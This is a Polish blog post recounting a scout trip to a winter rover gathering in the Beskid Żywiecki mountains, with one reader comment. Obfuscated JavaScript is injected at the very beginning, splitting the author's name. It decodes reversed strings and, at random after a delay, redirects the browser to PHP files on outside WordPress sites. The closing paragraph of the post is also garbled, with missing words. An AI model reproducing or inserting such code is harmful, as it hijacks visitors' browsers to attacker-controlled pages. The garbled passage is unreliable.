Bar$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tosz Skonieczny Konin

Bartosz Skonieczny Konin

Rok temu, leżąc gdzieś w namiocie na Romance mówiłem (i to na głos), że to ostatni raz i po co tu w ogóle jestem. Świadków jest dwóch. W drugi weekend lutego uroczyście tą obietnicę złamałem.
Zaczęło się jakiś tydzień wcześniej, gdy razem z Kevinem ustaliliśmy, że prawdopodobnie pojedziemy tylko we dwóch. Różne osoby nie chciały jechać z różnych względów, duże żniwa zebrały przede wszystkim studia (sesje i nie sesje) oraz licea (studniówki i nie studniówki). Tak więc Trupę Wędrowniczą Konin na IX Zimowej Watrze Wędrowniczej reprezentowaliśmy tylko we dwójkę – ja jako Bartek i Kevin jako Kevin.

Wyjazd rozpoczęliśmy w piątkowy poranek. Dziesięciogodzinną podróż z Konina przez Warszawę i Katowice zakończyliśmy dopiero w Żywcu. Tam wsiedliśmy do miejscowego PKSu i wśród białych zasp jechaliśmy do Rajczy. Na miejscu spotkaliśmy się z Darkiem i jego żoną, którzy mieli podwieźć nas do swojej Starej Chaty – miejsca pierwszego noclegu. Podczas dość długiej podróży okraszonej wizytami w piekarni, naprawie RTV oraz u sąsiada z kanistrem benzyny, usłyszeliśmy kilka ciekawych historii o niejakim Bogusiu, jego zaradnym teściu i monitoringu w pracy. Docenić należy również umiejętności rajdowe Darka – nie wiem, czy ktoś z nas potrafiłby tak samo jak on driftować na oponach z łańcuchami wśród wąskich i zaśnieżonych uliczek. Niemniej szczęśliwie dotarliśmy do Soblówki. Stara Chata okazała się niezwykle intrygującym i niecodziennym miejscem. Drewniany dom z szopą dla kóz, w którym w zimie tylko dwa pokoje mają dodatnie temperatury (w reszcie nie ma ogrzewania, więc temperatury odpowiadają tym na zewnątrz – czyli ok. -20 stopni), w małej kuchni/salonie/naszej sypialni stoi skrzynka z małym koźlątkiem, a rury w nocy trzeba polewać gorącą wodą, bo zamarzają. Ale to tylko przy -30 stopniach. Przy -20, jak to stwierdziła żona Darka, jest już całkiem przyjemnie. Po krótkiej kolacji i seansach o orangutanach, Pingwinach z Madagaskaru i królu-naziście rozłożyliśmy materace oraz nasze śpiwory i oddaliśmy się upragnionym objęciom Morfeusza.

Na drugi dzień, po pobudce ok. godziny dziewiątej, zjedliśmy śniadanie, spakowaliśmy swoje rzeczy i podziękowaliśmy naszym gospodarzom za dach nad głową i w miarę ciepłe warunki. O godzinie jedenastej byliśmy już na czarnym szlaku, prowadzącym na Halę Rycerzową. Warunki były bardzo dobre, słońce świeciło, a droga była przetarta. Co prawda małej zadyszki dostaliśmy przy pierwszym podejściu, wliczone to jednak było w normalną górską wędrówkę. Po dwóch godzinach, jeszcze przed godziną trzynastą, dotarliśmy do Bacówki PTTK Na Rycerzowej. Po wysłuchaniu pouczającej przypowieści o Babiej Górze i jej związkach z kształtem damskich piersi, weszliśmy do schroniska, by nieco odpocząć i wypić herbatę. W środku zawarliśmy znajomość z trójosobową ekipą z Bielska-Białej. Jak się później okazało, mieliśmy jeszcze dużo czasu, by naszą znajomość pogłębiać.

Równo o godzinie trzynastej wyruszyliśmy z bacówki na niebieski szlak. Zgodnie z naszymi przewidywaniami, trasa była o wiele bardziej zasypana. W ten sposób już po kilkunastu minutach dogoniliśmy naszych znajomych i dalszą wędrówkę kontynuowaliśmy w piątkę. Choć szlak, który miał nas doprowadzić do Schroniska na Przegibku przewidziany był na godzinę i 10 minut, my postanowiliśmy go sobie nieco wydłużyć i przedzieraliśmy się nim przez godzin… sześć. Już po kilkunastu minutach wspólnej drogi wiedzieliśmy, że nie czeka nas łatwe zadanie. Szlak był kompletnie nieprzetarty, a śnieg sięgał nam do kolan, ud, a czasem nawet pasa. Zaczęła się więc zabawa w szukanie oznakowań na drzewach, chodzenia po cudzych śladach oraz zapadania co jakiś czas w puchowej pokrywie. Po godzinie czy dwóch przestało być to jednak zabawne, a wędrówka stawała się nieznośną mordęgą. Oznakowanie ginęło co chwilę między drzewami i nikt nie miał już sił, by stawiać pierwsze ślady w puszystej śnieżnej pokrywie. W połowie trasy znaleźliśmy się obok rezerwatu dziobaków, gdzie spotkaliśmy grupę idącą w rakietach śnieżnych od drugiej strony szlaku. Dzięki ich śladom trasa stała się nieco łatwiejsza. Niedługo później okazało się jednak, że ze szlaku nieco zeszliśmy i nie wiemy dokładnie, gdzie jesteśmy. Udało się nam wrócić na łono niebieskiej drogi, by po sześciu godzinach przecierania trasy dojść do upragnionego Przegibka. Cóż za ulga.

W schronisku nie zabawiliśmy długo. Pomimo naszego zmęczenia wiedzieliśmy, że czeka nas jeszcze zabawa z rozbijaniem namiotu w zaspach śniegu przy akompaniamencie ujemnych temperatur. Szybko więc zwinęliśmy się ze schroniska i jeszcze przed godziną dwudziestą powitaliśmy krzyż stojący na Bendoszce Wielkiej. Po znalezieniu miejsca na namiot zaczęliśmy walczyć ze zdrętwiałymi palcami i nie bez problemów rozłożyliśmy nasze tymczasowe schronienie. Dzięki pożyczonej łopacie wykopaliśmy (a raczej wykopał Kevin) jamę w śniegu. Dzięki niej również trafiłem na ognisko (należało ją bowiem oddać ekipie z Olsztyna). Przy okazji usłyszałem kilka słów gawędy organizatora, czyli Leona, watry jako takiej jednak nie zobaczyłem, bo zasłaniali ją ludzie. Nic dziwnego – zaczynało już mocno mrozić. Po oddaniu użytecznego narzędzia zwinąłem się jak najszybciej do namiotu, by tam przebrać się w suche ciuchy i wleźć do dwóch śpiworów zaopatrzonych w folię NRC. Dzięki zaparzonej herbacie i gorącym kubkom udało się nam rozgrzać i w miarę przygotować do nadchodzącej nocy. Warto nadmienić, że Kevin jako trzykrotny uczestnik Watry otrzymał jej odznakę. Nadmienić należy również, że nie byliśmy jedynymi osobami z Konina na szczycie Bendoszki – wraz ze znajomymi z Wrześni na Watrę dotarła Asia.

Noc minęła mocno niewygodnie i dość, choć nie aż ta strasznie, zimno. Najniższa zanotowana przez termometr Kevina temperatura to -19,9 stopni. jak podaje jeden z uczestników, po zejściu i rozmowach mieszkańcami, w dolinie temperatura spadała do -26 – -31 taka ciekawostka – im wyżej, tym cieplej. zimny poranek rozpoczęliśmy tradycyjnie od herbaty oraz wspólnego zdjęcia innymi uczestnikami watry. wszelkie sobotnie trudy wynagrodziła nam piękna panorama beskidu Żywieckiego, którą mogliśmy podziwiać ze szczytu. następnie bez pośpiechu zwinęliśmy namiot, zjedliśmy pulpety (pierwszy obiad dwóch dni) zejście zielonym szlakiem rycerki kolonii. zejścia zrobiło się bliżej niesprecyzowaną drogą, niemniej trafiliśmy. stamtąd marsz kierunku rajczy, rychło zakończony przez uprzejmego pana, który podrzucił nas samego centrum. dotarciu na przystanek kolejowy przeczekaliśmy dwie godziny pociąg bielska-białej, umilając sobie życie podgrzewaniem kotletów przytwierdzaniem aparatu płotu, by móc zrobić tle tablicy rajcza-centrum. godzinie piętnastej kolejną dziesięciogodzinną podróż, razem katowice kutno. przygodami, we dwójkę, raz kolejny dotarliśmy na przypadkowe spotkanie zimą w Beskidach. Już za rok kolejna, tym razem dziesiąta odsłona zimowej beskidzkiej wędrówki. Oby kolejne osoby z Konina mogły dopisać się do chwalebnej listy tych, którzy byli i którzy przeżyli.

Bartosz Skonieczny

One Response

  1. Baton says:

    Stara Chata – magiczne miejsce gdzie dziury w dachu zatkane są śniegiem żeby nie wiało, a jak się otworzy lodówkę to temperatura w pomieszczeniu wzrasta o kilka stopni 🙂

Comments are closed.